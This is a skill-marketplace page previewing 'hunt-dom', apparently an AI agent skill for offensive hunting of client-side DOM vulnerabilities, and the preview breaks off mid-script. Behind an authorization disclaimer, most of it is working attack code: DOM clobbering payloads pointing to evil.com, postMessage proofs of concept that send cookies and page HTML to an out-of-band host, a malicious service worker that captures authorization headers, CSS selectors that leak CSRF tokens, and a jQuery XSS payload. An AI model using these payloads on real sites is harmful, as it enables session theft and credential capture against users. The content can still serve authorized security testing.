Skip to main content

hunt-dom

Hunt client-side DOM vulnerabilities

跳到安装

来源信息

仓库
sickn33/agentic-awesome-skills
最近来源活动
2026年9月21日 13:45
检测到的 SKILL.md 语言
英语
星标
46,724
分支
6,804

安装方式

默认使用会先检查来源的 Prompt;你也可以切换为直接命令,或下载本地副本。

检查来源文件

决定是否安装前,请先阅读 SKILL.md,以及 SkillsMP 当前展示的配套文件。

正在显示 SKILL.md

SKILL.md
来源说明 · 只读预览
name
hunt-dom
description
Hunt client-side DOM vulnerabilities
category
security
risk
offensive
source
https://github.com/elementalsouls/Claude-BugHunter
source_repo
elementalsouls/Claude-BugHunter
source_type
community
date_added
2026-09-20
license
MIT
license_source
https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
compatibility
Requires explicit written authorization for a target scope plus the relevant testing tools for this technique. Docs-only; helper scripts and commands not bundled.
sources
portswigger_research, hackerone_public, github_security_advisories
report_count
14
> **⚠️ AUTHORIZED USE ONLY** > This skill is for educational purposes or authorized security assessments only. > You must have explicit, written permission from the system owner before using this tool. > Misuse of this tool is illegal and strictly prohibited. > **Mandatory confirmation gate** > Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target: > 1. Ask the user to state the exact target URL, IP, account, or resource. > 2. Ask the user to confirm written authorization and the permitted scope. > 3. Show the exact command(s) and explain their expected effect. > 4. Wait for explicit confirmation in the current conversation. > > Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab. # HUNT-DOM — DOM Clobbering / PostMessage / Service Worker / CSS Exfil ## Crown Jewel Targets DOM-based attacks execute in the victim's browser — the server often never sees the payload, so WAFs and server-side input filters do not apply. PostMessage missing-origin-check = cross-origin token theft with no XSS needed. **Highest-value chains:** - **DOM Clobbering → DOM-XSS / auth bypass** — HTML *markup* injection (no `<script>`) overwrites a JS global like `window.config` or shadows `document.getElementById`, and the app later treats that value as a URL/code → sink fires under a markup-only injection where script is filtered. - **PostMessage no origin check → session theft / DOM-XSS** — a `message` handler that trusts `event.data` without validating `event.origin` lets an attacker iframe/opener drive privileged actions or feed a sink. - **Service Worker abuse** — register a **same-origin** SW script (reachable because of an upload / open-redirect / path the target serves) via stored XSS → intercept all in-scope `fetch` → persistent credential capture. - **CSS Exfil** — attribute-value selectors (`input[value^="a"]`) leak a CSRF token / API key / nonce char-by-char to an OOB host with zero JS. ### Grounding — public research this is distilled from - **DOM Clobbering / DOM-Invader** — Gareth Heyes & the PortSwigger Web Security Academy "DOM clobbering" topic; DOM-Invader ships a dedicated clobbering scanner. Sink taxonomy maps to the academy's DOM-based vulnerability labs. - **DOMPurify clobbering & mXSS bypasses** — Michał Bentkowski (Securitum) blog series on bypassing HTML sanitizers via clobbering and mutation XSS. - **jQuery `htmlPrefilter` self-closing-tag XSS** — **CVE-2020-11022** and **CVE-2020-11023** (jQuery < 3.5.0). Passing attacker HTML to `.html()` / `.append()` mutates into executing markup. Grep bundled jQuery version; this is one of the most common real-world DOM-XSS roots. - **CSS exfiltration** — d0nut "CSS Injection Attacks" / "Stealing Data With CSS" research (sequential `@import` recursion to drop the per-char-position constraint). > Cite only what you reproduce. Do not paste these as "proof" in a report — your PoC against the live target is the evidence. Named research here is for *technique provenance*, not severity inflation. --- ## Attack Surface Signals ``` # Injection points that allow MARKUP but may strip <script>: user bio / display name / comment / markdown preview / SVG upload / CMS rich-text # postMessage endpoints (iframes, SSO widgets, payment frames, chat widgets): */sso/* */embed/* */widget/* */oauth/* /sdk.js pay/checkout iframes # Service worker presence: /sw.js /service-worker.js /firebase-messaging-sw.js /ngsw-worker.js (Angular) # CSS injection points: ?theme= custom-css profile field email-template editor style= passthrough ``` --- ## Phase 1 — DOM Clobbering ```bash # Signal: app reads element IDs/names as if they were JS objects, OR feeds a # clobberable global into a sink (location, innerHTML, eval, script.src). # Inject MARKUP (no script) at a sink that lets named/id'd elements through. # Single-level clobber of window.config: # <a id="config" href="https://evil.com"> # Clobber a NON-built-in global the app reads (built-in methods like getElementById can't be shadowed this way): # <a id="config"></a><a id="config" name="url"> # window.config.url resolves to an attacker-controlled element/string # Clobber a string-coerced URL value (anchor toString() == href): # <a id="x"></a><a id="x" name="y" href="https://evil.com"> # x.y -> href # Nested window.a.b.c via form/inputs: # <form id="a"><input id="b" name="c" value="clobbered"></form> # baseURI / relative-URL hijack: # <base href="https://evil.com/"> # bends every relative src/href ``` ```javascript // Browser console: find globals that are clobberable AND reach a sink. // A var only matters if the app later concatenates it into a URL/HTML/eval. const susp = ['config','settings','options','appConfig','init','data','user', 'token','csrf','nonce','baseUrl','apiUrl','cdn','redirect','next','debug']; susp.forEach(k => { const v = window[k]; // HTMLCollection / element => already clobbered or clobberable namespace if (v && (v instanceof Element || v instanceof HTMLCollection)) console.log('[CLOBBERED/NAMESPACE]', k, v); else if (v !== undefined) console.log('[GLOBAL]', k, '=', v); }); ``` ```bash # Source review: find globals fed into sinks (this is what makes clobbering exploitable) curl -s "https://$TARGET/" | grep -nE \ "document\.(getElementById|baseURI)|window\.[A-Za-z_]+\.(url|src|href|html|cmd)|\ location\s*=\s*[A-Za-z_]|\.innerHTML\s*=|eval\(|new Function\(|\.src\s*=\s*[A-Za-z_]" # DOM-Invader (Burp) → enable "DOM clobbering" — it auto-finds clobberable sources→sinks. ``` **jQuery angle:** if the bundle ships jQuery < 3.5.0, attacker HTML passed to `.html()`/`.append()` self-mutates to execute (**CVE-2020-11022 / CVE-2020-11023**). Confirm version then test `<style><style /><img src=x onerror=alert(document.domain)>`. --- ## Phase 2 — PostMessage Hijacking Two bug classes: (a) **listener** trusts cross-origin data → drive a sink/privileged action; (b) **sender** broadcasts secrets with target origin `'*'` → any framing page reads them. ```bash # Find handlers and flag the ones with NO origin check grep -rnE "addEventListener\(\s*['\"]message['\"]|onmessage\s*=" recon/$TARGET/ --include="*.js" 2>/dev/null \ | grep -vE "\.origin\b" # Then for each, read +/- 20 lines: where does event.data go? (innerHTML/eval/location/token store) # Senders that leak: grep for postMessage(<secret>, '*') grep -rnE "postMessage\([^,]+,\s*['\"]\*['\"]\)" recon/$TARGET/ --include="*.js" 2>/dev/null ``` ```html <!-- PoC A: drive a no-origin-check LISTENER from an attacker page --> <!-- Host on attacker.com; frames target and pushes a privileged message --> <iframe id="f" src="https://TARGET/page-with-listener"></iframe> <script> document.getElementById('f').onload = () => { const w = document.getElementById('f').contentWindow; // Shape the payload to whatever the handler routes into a sink: w.postMessage({type:'navigate', url:'javascript:fetch("https://OOB/x?c="+document.cookie)'}, '*'); w.postMessage('<img src=x onerror=fetch("https://OOB/dom?h="+btoa(document.body.innerHTML))>', '*'); }; </script> ``` ```html <!-- PoC B: capture secrets from a SENDER that uses targetOrigin '*' --> <iframe id="f" src="https://TARGET/sso-or-widget" style="display:none"></iframe> <pre id="out"></pre> <script> addEventListener('message', e => { // Only count it if e.origin is the TARGET and data carries a secret out.textContent += `origin=${e.origin}\ndata=${JSON.stringify(e.data)}\n---\n`; if (/token|session|jwt|code=/i.test(JSON.stringify(e.data))) fetch('https://OOB/pm?d='+encodeURIComponent(JSON.stringify(e.data))); // OOB proof }); </script> ``` > False-positive guard: a handler with a *partial* check (`origin.indexOf('target.com')>-1`, `endsWith('target.com')`, regex `target\.com`) is still vulnerable — bypass with `target.com.evil.com` or `eviltarget.com`. Confirm by serving the PoC from such a look-alike host and showing the message still lands. --- ### PostMessage handler race — win the message before origin is set Beyond static origin/sender checks: some handlers trust the FIRST message, or read `event.origin` while it is still `""`/`null` during frame load. Race it — flood `postMessage` in a tight loop during iframe/popup load, or fire from `about:blank` before navigation, so your message lands before the legit sender or before strict origin setup runs. Test any handler that assumes "first message = trusted". Disclosed: reports/381356. ## Phase 3 — Service Worker Abuse **Hard rule (corrects a common mistake):** a SW script URL **must be same-origin** as the page calling `register()`. A cross-origin script URL (`https://evil.com/sw.js`) throws `SecurityError` — there is **no header that enables cross-origin SW *script* registration**. `Service-Worker-Allowed` only widens the **scope** a same-origin script may control, not where the script may live. So the realistic path is: get a SW script **onto the target origin** (file upload that serves JS, open-redirect/path the origin reflects as a script, a JSON/JSONP endpoint with `text/javascript`, or an existing route under your control), then register it from same-origin XSS. ```bash # Enumerate existing SW + its scope curl -s "https://$TARGET/" | grep -iE "serviceWorker\.register|navigator\.serviceWorker" for p in sw.js service-worker.js firebase-messaging-sw.js ngsw-worker.js; do curl -s -o /dev/null -w "%{http_code} $p\n" "https://$TARGET/$p"; done curl -s "https://$TARGET/sw.js" | grep -iE "scope|addEventListener\('fetch'|caches" # Look for an upload/route that returns Content-Type: text/javascript on YOUR content: # curl -s -D- https://$TARGET/uploads/<id> | grep -i content-type ``` ```javascript // Runs in same-origin XSS. SCRIPT MUST BE SAME-ORIGIN (e.g. /uploads/evil-sw.js // served by the target). scope must be <= the directory the script is served from // unless the response carries Service-Worker-Allowed. navigator.serviceWorker.register('/uploads/evil-sw.js', {scope: '/'}) .then(r => fetch('https://OOB/sw-registered?scope='+r.scope)) // OOB proof of registration .catch(e => console.log('SW reg failed', e.name)); // SecurityError => wrong origin/scope // evil-sw.js (served from the TARGET origin): self.addEventListener('fetch', e => { e.respondWith(fetch(e.request.clone()).then(async resp => { // Exfil URL + any auth header the page attaches, to OOB fetch('https://OOB/sw-intercept', {method:'POST', body: JSON.stringify({url: e.request.url, auth: e.request.headers.get('authorization')})}); return resp; })); }); ``` > Persistence note: a SW survives tab close and re-runs on next visit within scope — that is what makes it Critical. Confirm persistence by closing all tabs, reopening the origin, and showing a fresh OOB hit with no XSS re-trigger. --- ## Phase 4 — CSS Injection / Exfiltration ```bash # Prereq: attacker controls CSS (custom-theme field, style= passthrough, email # template, markdown CSS). Targets: hidden CSRF input, API key in meta, nonce attr. # Step 1 confirm injection: inject "color:red" on a known element, observe render. # Step 2 leak attribute values char-by-char via attribute selectors + url() to OOB. ``` > **Scope caveat (corrects an overstatement):** CSS exfil bypasses CSP that blocks *script execution* — it does **not** bypass a CSP whose `style-src` / `img-src` / `default-src` / `connect-src` restricts external origins, or `form-action`. If `img-src 'self'` is set, `url(https://OOB/...)` is **blocked**. Always read the live `Content-Security-Policy` header first; if external resource origins are locked down, CSS exfil is dead and you should say so rather than claim it. ```css /* One request fires only for the matching first char. */ input[name="csrf"][value^="a"] { background: url(https://OOB.example/c?p=0&c=a); } input[name="csrf"][value^="b"] { background: url(https://OOB.example/c?p=0&c=b); } /* ...all chars... then chain @import to leak position 1 conditioned on position 0, etc. */ meta[name="csrf-token"][content^="a"] { background: url(https://OOB.example/c?m=a); } ``` ```python # Generate a single-position CSS exfil set (loop positions with sequential @import in practice) import string chars = string.ascii_letters + string.digits + '-_' attr, oob, pos = 'name="csrf"', 'https://OOB.example/c', 0 print("\n".join(
在 GitHub 查看
这个 SKILL.md 很大,SkillsMP 这里只预览前一段内容。 在 GitHub 查看